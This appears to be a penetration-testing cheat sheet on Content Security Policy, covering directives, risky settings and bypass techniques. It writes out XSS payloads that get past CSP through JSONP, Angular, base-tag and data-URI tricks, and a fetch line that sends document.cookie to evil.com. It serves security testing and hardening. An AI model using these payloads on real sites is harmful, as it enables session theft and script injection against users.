Overview
CSP controls which resources the browser can load. Misconfigured CSP allows XSS, data exfiltration, and script injection despite having a policy in place.
Check CSP
curl -s -I https://TARGET | grep -i "content-security-policy"
Console shows CSP violations when blocked.
Online Analyzer
https://csp-evaluator.withgoogle.com/
Key Directives
| Directive | Controls |
|---|
default-src | Fallback for all resource types |
script-src | JavaScript sources |
style-src | CSS sources |
img-src | Images |
connect-src | XHR, fetch, WebSocket |
font-src | Fonts |
object-src | Plugins (Flash, Java) |
media-src | Audio, video |
child-src | Web workers and nested contexts |
worker-src | Worker, SharedWorker, ServiceWorker |
frame-src | Iframes |
frame-ancestors | Who can iframe this page |
base-uri | Restricts <base> tag |
form-action | Form submission targets |
sandbox | Restricts page actions (scripts, forms, popups) |
report-uri | Where to send violation reports (deprecated) |
report-to | CSP Level 3 reporting endpoint |
default-src does NOT cover frame-ancestors, form-action, or base-uri — these must be set explicitly.
CSP via <meta> tag cannot enforce frame-ancestors, sandbox, or reporting directives. Use HTTP header instead.
Source Values
| Value | Meaning |
|---|
'none' | Block everything |
'self' | Same origin only |
'unsafe-inline' | Allow inline scripts/styles |
'unsafe-eval' | Allow eval(), setTimeout('string') |
'nonce-xxx' | Allow scripts with matching nonce |
'sha256-xxx' | Allow scripts matching hash |
'strict-dynamic' | Trust scripts loaded by already-trusted scripts (ignores host allowlists) |
'unsafe-hashes' | Allow specific inline event handlers by hash |
* | Allow everything |
data: | Allow data: URIs |
blob: | Allow blob: URIs |
https: | Any HTTPS source |
*.domain.com | Wildcard subdomain |
'unsafe-inline' is ignored when a nonce or hash is present (CSP2+).
Dangerous Configurations
unsafe-inline (XSS Possible)
Content-Security-Policy: script-src 'self' 'unsafe-inline'
Inline <script> tags and event handlers work:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
unsafe-eval
Content-Security-Policy: script-src 'self' 'unsafe-eval'
<script>eval('alert(1)')</script>
Wildcard
Content-Security-Policy: script-src *
Content-Security-Policy: default-src 'self'; script-src https:
Load scripts from any domain.
Missing Directives
No script-src → falls back to default-src. No default-src → no restriction.
Content-Security-Policy: style-src 'self'
# No script-src, no default-src → scripts unrestricted
Bypass Techniques
JSONP Endpoints
If CSP allows a domain with JSONP:
Content-Security-Policy: script-src 'self' https://accounts.google.com
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
CDN / Whitelisted Domain
If CSP allows a CDN you can upload to:
<script src="https://cdn.jsdelivr.net/gh/attacker/repo/evil.js"></script>
Angular + unsafe-eval
Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
base-uri Missing
<base href="https://evil.com/">
<!-- All relative script paths now load from evil.com -->
Nonce Reuse / Prediction
If nonce is static or predictable:
<script nonce="KNOWN_NONCE">alert(1)</script>
object-src Missing
<object data="data:text/html,<script>alert(1)</script>"></object>
Data URI (If data: Allowed)
Content-Security-Policy: script-src 'self' data:
<script src="data:text/javascript,alert(1)"></script>
Exfiltration via Allowed Destinations
If connect-src or img-src allows external:
<script nonce="valid">
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>
<!-- Or via img -->
<img src="https://evil.com/steal?data=leaked">
CSP Report-Only
Content-Security-Policy-Report-Only: ...
Logs violations but does NOT block. Not a security control.
Quick Reference
| Issue | Why Dangerous |
|---|
unsafe-inline | Inline XSS works |
unsafe-eval | eval() works |
* or https: | Load from any domain |
Missing script-src | Falls to default-src or none |
Missing base-uri | <base> hijack |
Missing object-src | Plugin-based XSS |
| JSONP on allowed domain | Callback parameter = arbitrary JS |
data: in script-src | data: URI scripts execute |
Sources